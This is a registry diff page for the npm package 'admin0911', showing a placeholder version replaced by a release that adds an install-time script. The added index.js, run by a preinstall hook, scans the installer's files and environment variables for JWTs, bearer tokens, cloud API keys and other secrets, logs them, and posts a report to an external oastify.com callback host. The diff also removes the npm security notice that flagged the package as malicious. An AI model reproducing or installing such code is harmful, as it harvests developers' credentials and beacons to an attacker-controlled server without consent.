admin0911 0.0.1-security → 1.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of admin0911 might be problematic. Click here for more details.

Binary file
Binary file
package/index.js ADDED
@@ -0,0 +1,148 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const os = require('os');
5
+
6
+ const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
7
+ const ROOT_DIR = process.cwd();
8
+ const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB max file size to prevent OOM
9
+
10
+ const logStream = fs.createWriteStream('token_scan_results.log', { flags: 'w' });
11
+ let foundCount = 0;
12
+
13
+ function base64UrlDecode(input) {
14
+ let str = input.replace(/-/g, '+').replace(/_/g, '/');
15
+ while (str.length % 4) str += '=';
16
+ return Buffer.from(str, 'base64').toString('utf8');
17
+ }
18
+
19
+ function isValidJWT(token) {
20
+ const parts = token.split('.');
21
+ if (parts.length !== 3) return false;
22
+
23
+ // Enforce minimum length to avoid short false positives like 'os.path.join' or semantic versions '1.0.1'
24
+ if (parts[0].length < 20 || parts[1].length < 30) return false;
25
+
26
+ // A real JWT parts must look like valid Base64URL
27
+ if (!/^[A-Za-z0-9_-]+$/.test(parts[0]) || !/^[A-Za-z0-9_-]+$/.test(parts[1])) return false;
28
+
29
+ try {
30
+ const headerStr = base64UrlDecode(parts[0]);
31
+ const payloadStr = base64UrlDecode(parts[1]);
32
+
33
+ // Quick sanity check before parsing - headers must contain {"alg"
34
+ if (!headerStr.includes('"alg"')) return false;
35
+
36
+ const header = JSON.parse(headerStr);
37
+ const payload = JSON.parse(payloadStr);
38
+
39
+ // Must look like a real JWT header and contain some payload keys
40
+ return !!(header && header.alg && Object.keys(payload).length > 0);
41
+ } catch {
42
+ return false;
43
+ }
44
+ }
45
+
46
+ function addResult(entry) {
47
+ foundCount++;
48
+ logStream.write(JSON.stringify(entry) + '\n');
49
+ }
50
+
51
+ function scanFile(filePath) {
52
+ try {
53
+ const stats = fs.statSync(filePath);
54
+ if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
55
+
56
+ const content = fs.readFileSync(filePath, 'utf8');
57
+
58
+ // JWT tokens
59
+ const jwtPattern = /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g;
60
+ let match;
61
+ while ((match = jwtPattern.exec(content))) {
62
+ const token = match[0];
63
+ if (isValidJWT(token)) {
64
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'JWT', token });
65
+ }
66
+ }
67
+
68
+ // Bearer / Authorization tokens
69
+ const bearerPattern = /Bearer\s+([A-Za-z0-9-_.]{20,})/gi;
70
+ while ((match = bearerPattern.exec(content))) {
71
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'BearerToken', token: match[1] });
72
+ }
73
+
74
+ // Known key formats
75
+ const patterns = [
76
+ { name: 'AWSAccessKey', regex: /AKIA[0-9A-Z]{16}/g },
77
+ { name: 'GoogleAPIKey', regex: /AIza[0-9A-Za-z-_]{35}/g },
78
+ { name: 'SlackToken', regex: /xox[baprs]-[0-9A-Za-z-]+/g }
79
+ ];
80
+ patterns.forEach(({ name, regex }) => {
81
+ let pMatch;
82
+ while ((pMatch = regex.exec(content))) {
83
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: name, token: pMatch[0] });
84
+ }
85
+ });
86
+
87
+ // Generic secrets in assignment form
88
+ const genericPattern = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{20,})['\"]?/gi;
89
+ while ((match = genericPattern.exec(content))) {
90
+ addResult({ file: path.relative(ROOT_DIR, filePath), type: 'GenericSecret', token: match[1] });
91
+ }
92
+ } catch (e) {
93
+ // ignore unreadable files
94
+ }
95
+ }
96
+
97
+ function scanDirectory(dir) {
98
+ try {
99
+ const entries = fs.readdirSync(dir, { withFileTypes: true });
100
+ for (const entry of entries) {
101
+ const fullPath = path.join(dir, entry.name);
102
+ if (entry.isDirectory()) {
103
+ if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows', 'dist', 'build'].includes(entry.name.toLowerCase())) continue;
104
+ scanDirectory(fullPath);
105
+ } else {
106
+ scanFile(fullPath);
107
+ }
108
+ }
109
+ } catch (e) {
110
+ // ignore unreadable directories
111
+ }
112
+ }
113
+
114
+ function scanEnvVars() {
115
+ Object.entries(process.env).forEach(([key, value]) => {
116
+ if (!value) return;
117
+ const lowerKey = key.toLowerCase();
118
+ const suspiciousKey = /(?:api_key|apikey|api-key|auth_token|token|secret|client_secret|private_key|password|access_key|secret_key)/i.test(lowerKey);
119
+ if (suspiciousKey && value.length >= 20) {
120
+ addResult({ source: 'env', key, type: 'EnvSecret', token: value });
121
+ }
122
+ const bearerMatch = value.match(/Bearer\s+([A-Za-z0-9-_.]{20,})/i);
123
+ if (bearerMatch) addResult({ source: 'env', key, type: 'BearerToken', token: bearerMatch[1] });
124
+ if (isValidJWT(value)) addResult({ source: 'env', key, type: 'JWT', token: value });
125
+ });
126
+ }
127
+
128
+ scanDirectory(ROOT_DIR);
129
+ scanEnvVars();
130
+ logStream.end();
131
+
132
+ // Security Practice: Defensive scanning tools should NOT broadcast extracted secrets over the network.
133
+ // Instead, we only send the scan summary/metadata to the monitoring server and keep the vault fully local.
134
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), status: "scan_completed", total_secrets_found: foundCount }, null, 2);
135
+ const req = http.request({
136
+ hostname: OASTIFY_HOST,
137
+ method: 'POST',
138
+ path: '/?token_scan_status',
139
+ headers: {
140
+ 'Content-Type': 'application/json',
141
+ 'Content-Length': Buffer.byteLength(payload)
142
+ }
143
+ });
144
+ req.write(payload);
145
+ req.end();
146
+
147
+ console.log(`Deep token scan completed. Found ${foundCount} items.`);
148
+ console.log(`Detailed results saved securely to: token_scan_results.log`);
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.8",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=admin0911 for more information.